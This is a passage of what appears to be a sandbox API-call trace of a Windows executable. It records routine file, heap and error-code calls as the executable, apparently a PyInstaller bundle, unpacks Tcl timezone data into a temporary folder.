htonl (hostlong=0x41e0000) returned 0x1e04 [0042.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1e04) returned 0x561090 [0042.664] htonl (hostlong=0x44060000) returned 0x644 [0042.664] htonl (hostlong=0x41e0000) returned 0x1e04 [0042.664] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562ea0 [0042.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562ea0 | out: hHeap=0x530000) returned 1 [0042.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.664] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.664] CloseHandle (hObject=0x10c) returned 1 [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] GetLastError () returned 0x0 [0042.664] SetLastError (dwErrCode=0x0) [0042.664] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.664] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.664] GetFileType (hFile=0x10c) returned 0x1 [0042.664] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.664] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.664] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.664] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.665] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.665] CloseHandle (hObject=0x10c) returned 1 [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.665] GetFileType (hFile=0x10c) returned 0x1 [0042.665] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.665] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.665] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.665] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.665] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.665] CloseHandle (hObject=0x10c) returned 1 [0042.665] GetLastError () returned 0x0 [0042.665] SetLastError (dwErrCode=0x0) [0042.665] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.665] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.666] GetFileType (hFile=0x10c) returned 0x1 [0042.666] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.666] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.666] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.666] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.666] CloseHandle (hObject=0x10c) returned 1 [0042.666] GetLastError () returned 0x0 [0042.666] SetLastError (dwErrCode=0x0) [0042.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Prague") returned 70 [0042.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Prague" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\prague"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.666] GetLastError () returned 0x2 [0042.666] SetLastError (dwErrCode=0x2) [0042.666] GetLastError () returned 0x2 [0042.666] SetLastError (dwErrCode=0x2) [0042.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Prague", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Prague", lpFilePart=0x0) returned 0x45 [0042.666] GetLastError () returned 0x2 [0042.666] SetLastError (dwErrCode=0x2) [0042.666] GetLastError () returned 0x2 [0042.666] SetLastError (dwErrCode=0x2) [0042.666] GetLastError () returned 0x2 [0042.666] SetLastError (dwErrCode=0x2) [0042.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Prague") returned 70 [0042.666] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.667] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Prague" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\prague"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.667] GetFileType (hFile=0x10c) returned 0x1 [0042.667] htonl (hostlong=0x41e0000) returned 0x1e04 [0042.667] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.669] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xe04, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xe04, lpOverlapped=0x0) returned 1 [0042.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.669] CloseHandle (hObject=0x10c) returned 1 [0042.669] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.669] htonl (hostlong=0x30000000) returned 0x30 [0042.669] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.669] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.669] GetFileType (hFile=0x10c) returned 0x1 [0042.669] htonl (hostlong=0x1c735c00) returned 0x5c731c [0042.669] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61231c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.669] htonl (hostlong=0x2b060000) returned 0x62b [0042.669] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x62b) returned 0x550600 [0042.670] htonl (hostlong=0x2b060000) returned 0x62b [0042.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.670] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.670] htonl (hostlong=0xe81c0000) returned 0x1ce8 [0042.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1ce8) returned 0x561090 [0042.670] htonl (hostlong=0x2b060000) returned 0x62b [0042.670] htonl (hostlong=0xe81c0000) returned 0x1ce8 [0042.670] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d80 [0042.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d80 | out: hHeap=0x530000) returned 1 [0042.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.670] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.670] CloseHandle (hObject=0x10c) returned 1 [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] GetLastError () returned 0x0 [0042.670] SetLastError (dwErrCode=0x0) [0042.670] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.670] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.670] GetFileType (hFile=0x10c) returned 0x1 [0042.670] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.670] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.670] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.670] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.671] CloseHandle (hObject=0x10c) returned 1 [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.671] GetFileType (hFile=0x10c) returned 0x1 [0042.671] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.671] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.671] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.671] CloseHandle (hObject=0x10c) returned 1 [0042.671] GetLastError () returned 0x0 [0042.671] SetLastError (dwErrCode=0x0) [0042.671] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.671] GetFileType (hFile=0x10c) returned 0x1 [0042.671] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.671] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.672] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.672] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.672] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.672] CloseHandle (hObject=0x10c) returned 1 [0042.672] GetLastError () returned 0x0 [0042.672] SetLastError (dwErrCode=0x0) [0042.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Riga") returned 68 [0042.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Riga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\riga"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.672] GetLastError () returned 0x2 [0042.672] SetLastError (dwErrCode=0x2) [0042.672] GetLastError () returned 0x2 [0042.672] SetLastError (dwErrCode=0x2) [0042.672] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Riga", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Riga", lpFilePart=0x0) returned 0x43 [0042.672] GetLastError () returned 0x2 [0042.672] SetLastError (dwErrCode=0x2) [0042.672] GetLastError () returned 0x2 [0042.672] SetLastError (dwErrCode=0x2) [0042.672] GetLastError () returned 0x2 [0042.672] SetLastError (dwErrCode=0x2) [0042.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Riga") returned 68 [0042.672] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Riga" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\riga"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.673] GetFileType (hFile=0x10c) returned 0x1 [0042.673] htonl (hostlong=0xe81c0000) returned 0x1ce8 [0042.673] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.674] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xce8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xce8, lpOverlapped=0x0) returned 1 [0042.674] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.674] CloseHandle (hObject=0x10c) returned 1 [0042.674] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.674] htonl (hostlong=0x30000000) returned 0x30 [0042.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.674] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.674] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.674] GetFileType (hFile=0x10c) returned 0x1 [0042.674] htonl (hostlong=0x47795c00) returned 0x5c7947 [0042.674] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x612947, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.674] htonl (hostlong=0xc9060000) returned 0x6c9 [0042.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x6c9) returned 0x55e278 [0042.674] htonl (hostlong=0xc9060000) returned 0x6c9 [0042.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.674] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.674] htonl (hostlong=0x21210000) returned 0x2121 [0042.674] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2121) returned 0x561090 [0042.674] htonl (hostlong=0xc9060000) returned 0x6c9 [0042.675] htonl (hostlong=0x21210000) returned 0x2121 [0042.675] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5631c0 [0042.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5631c0 | out: hHeap=0x530000) returned 1 [0042.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0042.675] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.675] CloseHandle (hObject=0x10c) returned 1 [0042.675] GetLastError () returned 0x0 [0042.675] SetLastError (dwErrCode=0x0) [0042.675] GetLastError () returned 0x0 [0042.675] SetLastError (dwErrCode=0x0) [0042.675] MultiByteToWideChar (in: 